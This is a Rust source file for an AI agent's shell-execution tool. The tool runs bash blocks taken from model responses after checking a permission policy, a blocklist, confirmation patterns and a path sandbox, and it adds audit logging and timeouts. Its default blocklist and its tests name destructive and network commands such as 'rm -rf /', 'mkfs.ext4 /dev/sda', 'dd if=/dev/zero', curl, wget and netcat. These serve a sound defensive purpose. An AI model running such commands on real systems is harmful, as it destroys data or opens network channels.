1use std::path::PathBuf;
5use std::time::{Duration, Instant};
6
7use tokio::process::Command;
8use tokio_util::sync::CancellationToken;
9
10use schemars::JsonSchema;
11use serde::Deserialize;
12
13use std::sync::Arc;
14
15use crate::audit::{AuditEntry, AuditLogger, AuditResult, chrono_now};
16use crate::config::ShellConfig;
17use crate::executor::{
18 FilterStats, ToolCall, ToolError, ToolEvent, ToolEventTx, ToolExecutor, ToolOutput,
19};
20use crate::filter::{OutputFilterRegistry, sanitize_output};
21use crate::permissions::{PermissionAction, PermissionPolicy};
22
23const DEFAULT_BLOCKED: &[&str] = &[
24 "rm -rf /", "sudo", "mkfs", "dd if=", "curl", "wget", "nc ", "ncat", "netcat", "shutdown",
25 "reboot", "halt",
26];
27
28pub const DEFAULT_BLOCKED_COMMANDS: &[&str] = DEFAULT_BLOCKED;
33
34pub const SHELL_INTERPRETERS: &[&str] =
36 &["bash", "sh", "zsh", "fish", "dash", "ksh", "csh", "tcsh"];
37
38const SUBSHELL_METACHARS: &[&str] = &["$(", "`", "<(", ">("];
42
43#[must_use]
51pub fn check_blocklist(command: &str, blocklist: &[String]) -> Option<String> {
52 let lower = command.to_lowercase();
53 for meta in SUBSHELL_METACHARS {
55 if lower.contains(meta) {
56 return Some((*meta).to_owned());
57 }
58 }
59 let cleaned = strip_shell_escapes(&lower);
60 let commands = tokenize_commands(&cleaned);
61 for blocked in blocklist {
62 for cmd_tokens in &commands {
63 if tokens_match_pattern(cmd_tokens, blocked) {
64 return Some(blocked.clone());
65 }
66 }
67 }
68 None
69}
70
71#[must_use]
76pub fn effective_shell_command<'a>(binary: &str, args: &'a [String]) -> Option<&'a str> {
77 let base = binary.rsplit('/').next().unwrap_or(binary);
78 if !SHELL_INTERPRETERS.contains(&base) {
79 return None;
80 }
81 let pos = args.iter().position(|a| a == "-c")?;
83 args.get(pos + 1).map(String::as_str)
84}
85
86const NETWORK_COMMANDS: &[&str] = &["curl", "wget", "nc ", "ncat", "netcat"];
87
88#[derive(Deserialize, JsonSchema)]
89pub(crate) struct BashParams {
90 command: String,
92}
93
94#[derive(Debug)]
96pub struct ShellExecutor {
97 timeout: Duration,
98 blocked_commands: Vec<String>,
99 allowed_paths: Vec<PathBuf>,
100 confirm_patterns: Vec<String>,
101 audit_logger: Option<Arc<AuditLogger>>,
102 tool_event_tx: Option<ToolEventTx>,
103 permission_policy: Option<PermissionPolicy>,
104 output_filter_registry: Option<OutputFilterRegistry>,
105 cancel_token: Option<CancellationToken>,
106 skill_env: std::sync::RwLock<Option<std::collections::HashMap<String, String>>>,
107}
108
109impl ShellExecutor {
110 #[must_use]
111 pub fn new(config: &ShellConfig) -> Self {
112 let allowed: Vec<String> = config
113 .allowed_commands
114 .iter()
115 .map(|s| s.to_lowercase())
116 .collect();
117
118 let mut blocked: Vec<String> = DEFAULT_BLOCKED
119 .iter()
120 .filter(|s| !allowed.contains(&s.to_lowercase()))
121 .map(|s| (*s).to_owned())
122 .collect();
123 blocked.extend(config.blocked_commands.iter().map(|s| s.to_lowercase()));
124
125 if !config.allow_network {
126 for cmd in NETWORK_COMMANDS {
127 let lower = cmd.to_lowercase();
128 if !blocked.contains(&lower) {
129 blocked.push(lower);
130 }
131 }
132 }
133
134 blocked.sort();
135 blocked.dedup();
136
137 let allowed_paths = if config.allowed_paths.is_empty() {
138 vec![std::env::current_dir().unwrap_or_else(|_| PathBuf::from("."))]
139 } else {
140 config.allowed_paths.iter().map(PathBuf::from).collect()
141 };
142
143 Self {
144 timeout: Duration::from_secs(config.timeout),
145 blocked_commands: blocked,
146 allowed_paths,
147 confirm_patterns: config.confirm_patterns.clone(),
148 audit_logger: None,
149 tool_event_tx: None,
150 permission_policy: None,
151 output_filter_registry: None,
152 cancel_token: None,
153 skill_env: std::sync::RwLock::new(None),
154 }
155 }
156
157 pub fn set_skill_env(&self, env: Option<std::collections::HashMap<String, String>>) {
159 match self.skill_env.write() {
160 Ok(mut guard) => *guard = env,
161 Err(e) => tracing::error!("skill_env RwLock poisoned: {e}"),
162 }
163 }
164
165 #[must_use]
166 pub fn with_audit(mut self, logger: Arc<AuditLogger>) -> Self {
167 self.audit_logger = Some(logger);
168 self
169 }
170
171 #[must_use]
172 pub fn with_tool_event_tx(mut self, tx: ToolEventTx) -> Self {
173 self.tool_event_tx = Some(tx);
174 self
175 }
176
177 #[must_use]
178 pub fn with_permissions(mut self, policy: PermissionPolicy) -> Self {
179 self.permission_policy = Some(policy);
180 self
181 }
182
183 #[must_use]
184 pub fn with_cancel_token(mut self, token: CancellationToken) -> Self {
185 self.cancel_token = Some(token);
186 self
187 }
188
189 #[must_use]
190 pub fn with_output_filters(mut self, registry: OutputFilterRegistry) -> Self {
191 self.output_filter_registry = Some(registry);
192 self
193 }
194
195 pub async fn execute_confirmed(&self, response: &str) -> Result<Option<ToolOutput>, ToolError> {
201 self.execute_inner(response, true).await
202 }
203
204 #[allow(clippy::too_many_lines)]
205 async fn execute_inner(
206 &self,
207 response: &str,
208 skip_confirm: bool,
209 ) -> Result<Option<ToolOutput>, ToolError> {
210 let blocks = extract_bash_blocks(response);
211 if blocks.is_empty() {
212 return Ok(None);
213 }
214
215 let mut outputs = Vec::with_capacity(blocks.len());
216 let mut cumulative_filter_stats: Option<FilterStats> = None;
217 #[allow(clippy::cast_possible_truncation)]
218 let blocks_executed = blocks.len() as u32;
219
220 for block in &blocks {
221 if let Some(ref policy) = self.permission_policy {
222 match policy.check("bash", block) {
223 PermissionAction::Deny => {
224 self.log_audit(
225 block,
226 AuditResult::Blocked {
227 reason: "denied by permission policy".to_owned(),
228 },
229 0,
230 )
231 .await;
232 return Err(ToolError::Blocked {
233 command: (*block).to_owned(),
234 });
235 }
236 PermissionAction::Ask if !skip_confirm => {
237 return Err(ToolError::ConfirmationRequired {
238 command: (*block).to_owned(),
239 });
240 }
241 _ => {}
242 }
243 } else {
244 if let Some(blocked) = self.find_blocked_command(block) {
245 self.log_audit(
246 block,
247 AuditResult::Blocked {
248 reason: format!("blocked command: {blocked}"),
249 },
250 0,
251 )
252 .await;
253 return Err(ToolError::Blocked {
254 command: blocked.to_owned(),
255 });
256 }
257
258 if !skip_confirm && let Some(pattern) = self.find_confirm_command(block) {
259 return Err(ToolError::ConfirmationRequired {
260 command: pattern.to_owned(),
261 });
262 }
263 }
264
265 self.validate_sandbox(block)?;
266
267 if let Some(ref tx) = self.tool_event_tx {
268 let _ = tx.send(ToolEvent::Started {
269 tool_name: "bash".to_owned(),
270 command: (*block).to_owned(),
271 });
272 }
273
274 let start = Instant::now();
275 let skill_env_snapshot: Option<std::collections::HashMap<String, String>> =
276 self.skill_env.read().ok().and_then(|g| g.clone());
277 let (out, exit_code) = execute_bash(
278 block,
279 self.timeout,
280 self.tool_event_tx.as_ref(),
281 self.cancel_token.as_ref(),
282 skill_env_snapshot.as_ref(),
283 )
284 .await;
285 if exit_code == 130
286 && self
287 .cancel_token
288 .as_ref()
289 .is_some_and(CancellationToken::is_cancelled)
290 {
291 return Err(ToolError::Cancelled);
292 }
293 #[allow(clippy::cast_possible_truncation)]
294 let duration_ms = start.elapsed().as_millis() as u64;
295
296 let is_timeout = out.contains("[error] command timed out");
297 let result = if is_timeout {
298 AuditResult::Timeout
299 } else if out.contains("[error]") || out.contains("[stderr]") {
300 AuditResult::Error {
301 message: out.clone(),
302 }
303 } else {
304 AuditResult::Success
305 };
306 self.log_audit(block, result, duration_ms).await;
307
308 if is_timeout {
309 if let Some(ref tx) = self.tool_event_tx {
310 let _ = tx.send(ToolEvent::Completed {
311 tool_name: "bash".to_owned(),
312 command: (*block).to_owned(),
313 output: out.clone(),
314 success: false,
315 filter_stats: None,
316 diff: None,
317 });
318 }
319 return Err(ToolError::Timeout {
320 timeout_secs: self.timeout.as_secs(),
321 });
322 }
323
324 let sanitized = sanitize_output(&out);
325 let mut per_block_stats: Option<FilterStats> = None;
326 let filtered = if let Some(ref registry) = self.output_filter_registry {
327 match registry.apply(block, &sanitized, exit_code) {
328 Some(fr) => {
329 tracing::debug!(
330 command = block,
331 raw = fr.raw_chars,
332 filtered = fr.filtered_chars,
333 savings_pct = fr.savings_pct(),
334 "output filter applied"
335 );
336 let block_fs = FilterStats {
337 raw_chars: fr.raw_chars,
338 filtered_chars: fr.filtered_chars,
339 raw_lines: fr.raw_lines,
340 filtered_lines: fr.filtered_lines,
341 confidence: Some(fr.confidence),
342 command: Some((*block).to_owned()),
343 kept_lines: fr.kept_lines.clone(),
344 };
345 let stats =
346 cumulative_filter_stats.get_or_insert_with(FilterStats::default);
347 stats.raw_chars += fr.raw_chars;
348 stats.filtered_chars += fr.filtered_chars;
349 stats.raw_lines += fr.raw_lines;
350 stats.filtered_lines += fr.filtered_lines;
351 stats.confidence = Some(match (stats.confidence, fr.confidence) {
352 (Some(prev), cur) => crate::filter::worse_confidence(prev, cur),
353 (None, cur) => cur,
354 });
355 if stats.command.is_none() {
356 stats.command = Some((*block).to_owned());
357 }
358 if stats.kept_lines.is_empty() && !fr.kept_lines.is_empty() {
359 stats.kept_lines.clone_from(&fr.kept_lines);
360 }
361 per_block_stats = Some(block_fs);
362 fr.output
363 }
364 None => sanitized,
365 }
366 } else {
367 sanitized
368 };
369
370 if let Some(ref tx) = self.tool_event_tx {
371 let _ = tx.send(ToolEvent::Completed {
372 tool_name: "bash".to_owned(),
373 command: (*block).to_owned(),
374 output: out.clone(),
375 success: !out.contains("[error]"),
376 filter_stats: per_block_stats,
377 diff: None,
378 });
379 }
380 outputs.push(format!("$ {block}\n{filtered}"));
381 }
382
383 Ok(Some(ToolOutput {
384 tool_name: "bash".to_owned(),
385 summary: outputs.join("\n\n"),
386 blocks_executed,
387 filter_stats: cumulative_filter_stats,
388 diff: None,
389 streamed: self.tool_event_tx.is_some(),
390 terminal_id: None,
391 locations: None,
392 raw_response: None,
393 }))
394 }
395
396 fn validate_sandbox(&self, code: &str) -> Result<(), ToolError> {
397 let cwd = std::env::current_dir().unwrap_or_default();
398
399 for token in extract_paths(code) {
400 if has_traversal(&token) {
401 return Err(ToolError::SandboxViolation { path: token });
402 }
403
404 let path = if token.starts_with('/') {
405 PathBuf::from(&token)
406 } else {
407 cwd.join(&token)
408 };
409 let canonical = path
410 .canonicalize()
411 .or_else(|_| std::path::absolute(&path))
412 .unwrap_or(path);
413 if !self
414 .allowed_paths
415 .iter()
416 .any(|allowed| canonical.starts_with(allowed))
417 {
418 return Err(ToolError::SandboxViolation {
419 path: canonical.display().to_string(),
420 });
421 }
422 }
423 Ok(())
424 }
425
426 fn find_blocked_command(&self, code: &str) -> Option<&str> {
461 let cleaned = strip_shell_escapes(&code.to_lowercase());
462 let commands = tokenize_commands(&cleaned);
463 for blocked in &self.blocked_commands {
464 for cmd_tokens in &commands {
465 if tokens_match_pattern(cmd_tokens, blocked) {
466 return Some(blocked.as_str());
467 }
468 }
469 }
470 for inner in extract_subshell_contents(&cleaned) {
472 let inner_commands = tokenize_commands(&inner);
473 for blocked in &self.blocked_commands {
474 for cmd_tokens in &inner_commands {
475 if tokens_match_pattern(cmd_tokens, blocked) {
476 return Some(blocked.as_str());
477 }
478 }
479 }
480 }
481 None
482 }
483
484 fn find_confirm_command(&self, code: &str) -> Option<&str> {
485 let normalized = code.to_lowercase();
486 for pattern in &self.confirm_patterns {
487 if normalized.contains(pattern.as_str()) {
488 return Some(pattern.as_str());
489 }
490 }
491 None
492 }
493
494 async fn log_audit(&self, command: &str, result: AuditResult, duration_ms: u64) {
495 if let Some(ref logger) = self.audit_logger {
496 let entry = AuditEntry {
497 timestamp: chrono_now(),
498 tool: "shell".into(),
499 command: command.into(),
500 result,
501 duration_ms,
502 };
503 logger.log(&entry).await;
504 }
505 }
506}
507
508impl ToolExecutor for ShellExecutor {
509 async fn execute(&self, response: &str) -> Result<Option<ToolOutput>, ToolError> {
510 self.execute_inner(response, false).await
511 }
512
513 fn tool_definitions(&self) -> Vec<crate::registry::ToolDef> {
514 use crate::registry::{InvocationHint, ToolDef};
515 vec![ToolDef {
516 id: "bash".into(),
517 description: "Execute a shell command and return stdout/stderr.\n\nParameters: command (string, required) - shell command to run\nReturns: stdout and stderr combined, prefixed with exit code\nErrors: Blocked if command matches security policy; Timeout after configured seconds; SandboxViolation if path outside allowed dirs\nExample: {\"command\": \"ls -la /tmp\"}".into(),
518 schema: schemars::schema_for!(BashParams),
519 invocation: InvocationHint::FencedBlock("bash"),
520 }]
521 }
522
523 async fn execute_tool_call(&self, call: &ToolCall) -> Result<Option<ToolOutput>, ToolError> {
524 if call.tool_id != "bash" {
525 return Ok(None);
526 }
527 let params: BashParams = crate::executor::deserialize_params(&call.params)?;
528 if params.command.is_empty() {
529 return Ok(None);
530 }
531 let command = ¶ms.command;
532 let synthetic = format!("```bash\n{command}\n```");
534 self.execute_inner(&synthetic, false).await
535 }
536
537 fn set_skill_env(&self, env: Option<std::collections::HashMap<String, String>>) {
538 ShellExecutor::set_skill_env(self, env);
539 }
540}
541
542pub(crate) fn strip_shell_escapes(input: &str) -> String {
546 let mut out = String::with_capacity(input.len());
547 let bytes = input.as_bytes();
548 let mut i = 0;
549 while i < bytes.len() {
550 if i + 1 < bytes.len() && bytes[i] == b'$' && bytes[i + 1] == b'\'' {
552 let mut j = i + 2; let mut decoded = String::new();
554 let mut valid = false;
555 while j < bytes.len() && bytes[j] != b'\'' {
556 if bytes[j] == b'\\' && j + 1 < bytes.len() {
557 let next = bytes[j + 1];
558 if next == b'x' && j + 3 < bytes.len() {
559 let hi = (bytes[j + 2] as char).to_digit(16);
561 let lo = (bytes[j + 3] as char).to_digit(16);
562 if let (Some(h), Some(l)) = (hi, lo) {
563 #[allow(clippy::cast_possible_truncation)]
564 let byte = ((h << 4) | l) as u8;
565 decoded.push(byte as char);
566 j += 4;
567 valid = true;
568 continue;
569 }
570 } else if next.is_ascii_digit() {
571 let mut val = u32::from(next - b'0');
573 let mut len = 2; if j + 2 < bytes.len() && bytes[j + 2].is_ascii_digit() {
575 val = val * 8 + u32::from(bytes[j + 2] - b'0');
576 len = 3;
577 if j + 3 < bytes.len() && bytes[j + 3].is_ascii_digit() {
578 val = val * 8 + u32::from(bytes[j + 3] - b'0');
579 len = 4;
580 }
581 }
582 #[allow(clippy::cast_possible_truncation)]
583 decoded.push((val & 0xFF) as u8 as char);
584 j += len;
585 valid = true;
586 continue;
587 }
588 decoded.push(next as char);
590 j += 2;
591 } else {
592 decoded.push(bytes[j] as char);
593 j += 1;
594 }
595 }
596 if j < bytes.len() && bytes[j] == b'\'' && valid {
597 out.push_str(&decoded);
598 i = j + 1;
599 continue;
600 }
601 }
603 if bytes[i] == b'\\' && i + 1 < bytes.len() && bytes[i + 1] == b'\n' {
605 i += 2;
606 continue;
607 }
608 if bytes[i] == b'\\' && i + 1 < bytes.len() && bytes[i + 1] != b'\n' {
610 i += 1;
611 out.push(bytes[i] as char);
612 i += 1;
613 continue;
614 }
615 if bytes[i] == b'"' || bytes[i] == b'\'' {
617 let quote = bytes[i];
618 i += 1;
619 while i < bytes.len() && bytes[i] != quote {
620 out.push(bytes[i] as char);
621 i += 1;
622 }
623 if i < bytes.len() {
624 i += 1; }
626 continue;
627 }
628 out.push(bytes[i] as char);
629 i += 1;
630 }
631 out
632}
633
634pub(crate) fn extract_subshell_contents(s: &str) -> Vec<String> {
644 let mut results = Vec::new();
645 let chars: Vec<char> = s.chars().collect();
646 let len = chars.len();
647 let mut i = 0;
648
649 while i < len {
650 if chars[i] == '`' {
652 let start = i + 1;
653 let mut j = start;
654 while j < len && chars[j] != '`' {
655 j += 1;
656 }
657 if j < len {
658 results.push(chars[start..j].iter().collect());
659 }
660 i = j + 1;
661 continue;
662 }
663
664 let next_is_open_paren = i + 1 < len && chars[i + 1] == '(';
666 let is_paren_subshell = next_is_open_paren && matches!(chars[i], '$' | '<' | '>');
667
668 if is_paren_subshell {
669 let start = i + 2;
670 let mut depth: usize = 1;
671 let mut j = start;
672 while j < len && depth > 0 {
673 match chars[j] {
674 '(' => depth += 1,
675 ')' => depth -= 1,
676 _ => {}
677 }
678 if depth > 0 {
679 j += 1;
680 } else {
681 break;
682 }
683 }
684 if depth == 0 {
685 results.push(chars[start..j].iter().collect());
686 }
687 i = j + 1;
688 continue;
689 }
690
691 i += 1;
692 }
693
694 results
695}
696
697pub(crate) fn tokenize_commands(normalized: &str) -> Vec<Vec<String>> {
700 let replaced = normalized.replace("||", "\n").replace("&&", "\n");
702 replaced
703 .split([';', '|', '\n'])
704 .map(|seg| {
705 seg.split_whitespace()
706 .map(str::to_owned)
707 .collect::<Vec<String>>()
708 })
709 .filter(|tokens| !tokens.is_empty())
710 .collect()
711}
712
713const TRANSPARENT_PREFIXES: &[&str] = &["env", "command", "exec", "nice", "nohup", "time", "xargs"];
716
717fn cmd_basename(tok: &str) -> &str {
719 tok.rsplit('/').next().unwrap_or(tok)
720}
721
722pub(crate) fn tokens_match_pattern(tokens: &[String], pattern: &str) -> bool {
729 if tokens.is_empty() || pattern.is_empty() {
730 return false;
731 }
732 let pattern = pattern.trim();
733 let pattern_tokens: Vec<&str> = pattern.split_whitespace().collect();
734 if pattern_tokens.is_empty() {
735 return false;
736 }
737
738 let start = tokens
740 .iter()
741 .position(|t| !TRANSPARENT_PREFIXES.contains(&cmd_basename(t)))
742 .unwrap_or(0);
743 let effective = &tokens[start..];
744 if effective.is_empty() {
745 return false;
746 }
747
748 if pattern_tokens.len() == 1 {
749 let pat = pattern_tokens[0];
750 let base = cmd_basename(&effective[0]);
751 base == pat || base.starts_with(&format!("{pat}."))
753 } else {
754 let n = pattern_tokens.len().min(effective.len());
756 let mut parts: Vec<&str> = vec![cmd_basename(&effective[0])];
757 parts.extend(effective[1..n].iter().map(String::as_str));
758 let joined = parts.join(" ");
759 if joined.starts_with(pattern) {
760 return true;
761 }
762 if effective.len() > n {
763 let mut parts2: Vec<&str> = vec![cmd_basename(&effective[0])];
764 parts2.extend(effective[1..=n].iter().map(String::as_str));
765 parts2.join(" ").starts_with(pattern)
766 } else {
767 false
768 }
769 }
770}
771
772fn extract_paths(code: &str) -> Vec<String> {
773 let mut result = Vec::new();
774
775 let mut tokens: Vec<String> = Vec::new();
777 let mut current = String::new();
778 let mut chars = code.chars().peekable();
779 while let Some(c) = chars.next() {
780 match c {
781 '"' | '\'' => {
782 let quote = c;
783 while let Some(&nc) = chars.peek() {
784 if nc == quote {
785 chars.next();
786 break;
787 }
788 current.push(chars.next().unwrap());
789 }
790 }
791 c if c.is_whitespace() || matches!(c, ';' | '|' | '&') => {
792 if !current.is_empty() {
793 tokens.push(std::mem::take(&mut current));
794 }
795 }
796 _ => current.push(c),
797 }
798 }
799 if !current.is_empty() {
800 tokens.push(current);
801 }
802
803 for token in tokens {
804 let trimmed = token.trim_end_matches([';', '&', '|']).to_owned();
805 if trimmed.is_empty() {
806 continue;
807 }
808 if trimmed.starts_with('/')
809 || trimmed.starts_with("./")
810 || trimmed.starts_with("../")
811 || trimmed == ".."
812 {
813 result.push(trimmed);
814 }
815 }
816 result
817}
818
819fn has_traversal(path: &str) -> bool {
820 path.split('/').any(|seg| seg == "..")
821}
822
823fn extract_bash_blocks(text: &str) -> Vec<&str> {
824 crate::executor::extract_fenced_blocks(text, "bash")
825}
826
827async fn kill_process_tree(child: &mut tokio::process::Child) {
831 #[cfg(unix)]
832 if let Some(pid) = child.id() {
833 let _ = Command::new("pkill")
834 .args(["-KILL", "-P", &pid.to_string()])
835 .status()
836 .await;
837 }
838 let _ = child.kill().await;
839}
840
841async fn execute_bash(
842 code: &str,
843 timeout: Duration,
844 event_tx: Option<&ToolEventTx>,
845 cancel_token: Option<&CancellationToken>,
846 extra_env: Option<&std::collections::HashMap<String, String>>,
847) -> (String, i32) {
848 use std::process::Stdio;
849 use tokio::io::{AsyncBufReadExt, BufReader};
850
851 let timeout_secs = timeout.as_secs();
852
853 let mut cmd = Command::new("bash");
854 cmd.arg("-c")
855 .arg(code)
856 .stdout(Stdio::piped())
857 .stderr(Stdio::piped());
858 if let Some(env) = extra_env {
859 cmd.envs(env);
860 }
861 let child_result = cmd.spawn();
862
863 let mut child = match child_result {
864 Ok(c) => c,
865 Err(e) => return (format!("[error] {e}"), 1),
866 };
867
868 let stdout = child.stdout.take().expect("stdout piped");
869 let stderr = child.stderr.take().expect("stderr piped");
870
871 let (line_tx, mut line_rx) = tokio::sync::mpsc::channel::<String>(64);
872
873 let stdout_tx = line_tx.clone();
874 tokio::spawn(async move {
875 let mut reader = BufReader::new(stdout);
876 let mut buf = String::new();
877 while reader.read_line(&mut buf).await.unwrap_or(0) > 0 {
878 let _ = stdout_tx.send(buf.clone()).await;
879 buf.clear();
880 }
881 });
882
883 tokio::spawn(async move {
884 let mut reader = BufReader::new(stderr);
885 let mut buf = String::new();
886 while reader.read_line(&mut buf).await.unwrap_or(0) > 0 {
887 let _ = line_tx.send(format!("[stderr] {buf}")).await;
888 buf.clear();
889 }
890 });
891
892 let mut combined = String::new();
893 let deadline = tokio::time::Instant::now() + timeout;
894
895 loop {
896 tokio::select! {
897 line = line_rx.recv() => {
898 match line {
899 Some(chunk) => {
900 if let Some(tx) = event_tx {
901 let _ = tx.send(ToolEvent::OutputChunk {
902 tool_name: "bash".to_owned(),
903 command: code.to_owned(),
904 chunk: chunk.clone(),
905 });
906 }
907 combined.push_str(&chunk);
908 }
909 None => break,
910 }
911 }
912 () = tokio::time::sleep_until(deadline) => {
913 kill_process_tree(&mut child).await;
914 return (format!("[error] command timed out after {timeout_secs}s"), 1);
915 }
916 () = async {
917 match cancel_token {
918 Some(t) => t.cancelled().await,
919 None => std::future::pending().await,
920 }
921 } => {
922 kill_process_tree(&mut child).await;
923 return ("[cancelled] operation aborted".to_string(), 130);
924 }
925 }
926 }
927
928 let status = child.wait().await;
929 let exit_code = status.ok().and_then(|s| s.code()).unwrap_or(1);
930
931 if combined.is_empty() {
932 ("(no output)".to_string(), exit_code)
933 } else {
934 (combined, exit_code)
935 }
936}
937
938#[cfg(test)]
939mod tests {
940 use super::*;
941
942 fn default_config() -> ShellConfig {
943 ShellConfig {
944 timeout: 30,
945 blocked_commands: Vec::new(),
946 allowed_commands: Vec::new(),
947 allowed_paths: Vec::new(),
948 allow_network: true,
949 confirm_patterns: Vec::new(),
950 }
951 }
952
953 fn sandbox_config(allowed_paths: Vec<String>) -> ShellConfig {
954 ShellConfig {
955 allowed_paths,
956 ..default_config()
957 }
958 }
959
960 #[test]
961 fn extract_single_bash_block() {
962 let text = "Here is code:\n```bash\necho hello\n```\nDone.";
963 let blocks = extract_bash_blocks(text);
964 assert_eq!(blocks, vec!["echo hello"]);
965 }
966
967 #[test]
968 fn extract_multiple_bash_blocks() {
969 let text = "```bash\nls\n```\ntext\n```bash\npwd\n```";
970 let blocks = extract_bash_blocks(text);
971 assert_eq!(blocks, vec!["ls", "pwd"]);
972 }
973
974 #[test]
975 fn ignore_non_bash_blocks() {
976 let text = "```python\nprint('hi')\n```\n```bash\necho hi\n```";
977 let blocks = extract_bash_blocks(text);
978 assert_eq!(blocks, vec!["echo hi"]);
979 }
980
981 #[test]
982 fn no_blocks_returns_none() {
983 let text = "Just plain text, no code blocks.";
984 let blocks = extract_bash_blocks(text);
985 assert!(blocks.is_empty());
986 }
987
988 #[test]
989 fn unclosed_block_ignored() {
990 let text = "```bash\necho hello";
991 let blocks = extract_bash_blocks(text);
992 assert!(blocks.is_empty());
993 }
994
995 #[tokio::test]
996 #[cfg(not(target_os = "windows"))]
997 async fn execute_simple_command() {
998 let (result, code) =
999 execute_bash("echo hello", Duration::from_secs(30), None, None, None).await;
1000 assert!(result.contains("hello"));
1001 assert_eq!(code, 0);
1002 }
1003
1004 #[tokio::test]
1005 #[cfg(not(target_os = "windows"))]
1006 async fn execute_stderr_output() {
1007 let (result, _) =
1008 execute_bash("echo err >&2", Duration::from_secs(30), None, None, None).await;
1009 assert!(result.contains("[stderr]"));
1010 assert!(result.contains("err"));
1011 }
1012
1013 #[tokio::test]
1014 #[cfg(not(target_os = "windows"))]
1015 async fn execute_stdout_and_stderr_combined() {
1016 let (result, _) = execute_bash(
1017 "echo out && echo err >&2",
1018 Duration::from_secs(30),
1019 None,
1020 None,
1021 None,
1022 )
1023 .await;
1024 assert!(result.contains("out"));
1025 assert!(result.contains("[stderr]"));
1026 assert!(result.contains("err"));
1027 assert!(result.contains('\n'));
1028 }
1029
1030 #[tokio::test]
1031 #[cfg(not(target_os = "windows"))]
1032 async fn execute_empty_output() {
1033 let (result, code) = execute_bash("true", Duration::from_secs(30), None, None, None).await;
1034 assert_eq!(result, "(no output)");
1035 assert_eq!(code, 0);
1036 }
1037
1038 #[tokio::test]
1039 async fn blocked_command_rejected() {
1040 let config = ShellConfig {
1041 blocked_commands: vec!["rm -rf /".to_owned()],
1042 ..default_config()
1043 };
1044 let executor = ShellExecutor::new(&config);
1045 let response = "Run:\n```bash\nrm -rf /\n```";
1046 let result = executor.execute(response).await;
1047 assert!(matches!(result, Err(ToolError::Blocked { .. })));
1048 }
1049
1050 #[tokio::test]
1051 #[cfg(not(target_os = "windows"))]
1052 async fn timeout_enforced() {
1053 let config = ShellConfig {
1054 timeout: 1,
1055 ..default_config()
1056 };
1057 let executor = ShellExecutor::new(&config);
1058 let response = "Run:\n```bash\nsleep 60\n```";
1059 let result = executor.execute(response).await;
1060 assert!(matches!(
1061 result,
1062 Err(ToolError::Timeout { timeout_secs: 1 })
1063 ));
1064 }
1065
1066 #[tokio::test]
1067 #[cfg(not(target_os = "windows"))]
1068 async fn timeout_logged_as_audit_timeout_not_error() {
1069 use crate::audit::AuditLogger;
1070 use crate::config::AuditConfig;
1071 let dir = tempfile::tempdir().unwrap();
1072 let log_path = dir.path().join("audit.log");
1073 let audit_config = AuditConfig {
1074 enabled: true,
1075 destination: log_path.display().to_string(),
1076 };
1077 let logger = std::sync::Arc::new(AuditLogger::from_config(&audit_config).await.unwrap());
1078 let config = ShellConfig {
1079 timeout: 1,
1080 ..default_config()
1081 };
1082 let executor = ShellExecutor::new(&config).with_audit(logger);
1083 let _ = executor.execute("```bash\nsleep 60\n```").await;
1084 let content = tokio::fs::read_to_string(&log_path).await.unwrap();
1085 assert!(
1086 content.contains("\"type\":\"timeout\""),
1087 "expected AuditResult::Timeout, got: {content}"
1088 );
1089 assert!(
1090 !content.contains("\"type\":\"error\""),
1091 "timeout must not be logged as error: {content}"
1092 );
1093 }
1094
1095 #[tokio::test]
1096 #[cfg(not(target_os = "windows"))]
1097 async fn stderr_output_logged_as_audit_error() {
1098 use crate::audit::AuditLogger;
1099 use crate::config::AuditConfig;
1100 let dir = tempfile::tempdir().unwrap();
1101 let log_path = dir.path().join("audit.log");
1102 let audit_config = AuditConfig {
1103 enabled: true,
1104 destination: log_path.display().to_string(),
1105 };
1106 let logger = std::sync::Arc::new(AuditLogger::from_config(&audit_config).await.unwrap());
1107 let executor = ShellExecutor::new(&default_config()).with_audit(logger);
1108 let _ = executor.execute("```bash\necho err >&2\n```").await;
1109 let content = tokio::fs::read_to_string(&log_path).await.unwrap();
1110 assert!(
1111 content.contains("\"type\":\"error\""),
1112 "expected AuditResult::Error for [stderr] output, got: {content}"
1113 );
1114 }
1115
1116 #[tokio::test]
1117 async fn execute_no_blocks_returns_none() {
1118 let executor = ShellExecutor::new(&default_config());
1119 let result = executor.execute("plain text, no blocks").await;
1120 assert!(result.is_ok());
1121 assert!(result.unwrap().is_none());
1122 }
1123
1124 #[tokio::test]
1125 async fn execute_multiple_blocks_counted() {
1126 let executor = ShellExecutor::new(&default_config());
1127 let response = "```bash\necho one\n```\n```bash\necho two\n```";
1128 let result = executor.execute(response).await;
1129 let output = result.unwrap().unwrap();
1130 assert_eq!(output.blocks_executed, 2);
1131 assert!(output.summary.contains("one"));
1132 assert!(output.summary.contains("two"));
1133 }
1134
1135 #[test]
1138 fn default_blocked_always_active() {
1139 let executor = ShellExecutor::new(&default_config());
1140 assert!(executor.find_blocked_command("rm -rf /").is_some());
1141 assert!(executor.find_blocked_command("sudo apt install").is_some());
1142 assert!(
1143 executor
1144 .find_blocked_command("mkfs.ext4 /dev/sda")
1145 .is_some()
1146 );
1147 assert!(
1148 executor
1149 .find_blocked_command("dd if=/dev/zero of=disk")
1150 .is_some()
1151 );
1152 }
1153
1154 #[test]
1155 fn user_blocked_additive() {
1156 let config = ShellConfig {
1157 blocked_commands: vec!["custom-danger".to_owned()],
1158 ..default_config()
1159 };
1160 let executor = ShellExecutor::new(&config);
1161 assert!(executor.find_blocked_command("sudo rm").is_some());
1162 assert!(
1163 executor
1164 .find_blocked_command("custom-danger script")
1165 .is_some()
1166 );
1167 }
1168
1169 #[test]
1170 fn blocked_prefix_match() {
1171 let executor = ShellExecutor::new(&default_config());
1172 assert!(executor.find_blocked_command("rm -rf /home/user").is_some());
1173 }
1174
1175 #[test]
1176 fn blocked_infix_match() {
1177 let executor = ShellExecutor::new(&default_config());
1178 assert!(
1179 executor
1180 .find_blocked_command("echo hello && sudo rm")
1181 .is_some()
1182 );
1183 }
1184
1185 #[test]
1186 fn blocked_case_insensitive() {
1187 let executor = ShellExecutor::new(&default_config());
1188 assert!(executor.find_blocked_command("SUDO apt install").is_some());
1189 assert!(executor.find_blocked_command("Sudo apt install").is_some());
1190 assert!(executor.find_blocked_command("SuDo apt install").is_some());
1191 assert!(
1192 executor
1193 .find_blocked_command("MKFS.ext4 /dev/sda")
1194 .is_some()
1195 );
1196 assert!(executor.find_blocked_command("DD IF=/dev/zero").is_some());
1197 assert!(executor.find_blocked_command("RM -RF /").is_some());
1198 }
1199
1200 #[test]
1201 fn safe_command_passes() {
1202 let executor = ShellExecutor::new(&default_config());
1203 assert!(executor.find_blocked_command("echo hello").is_none());
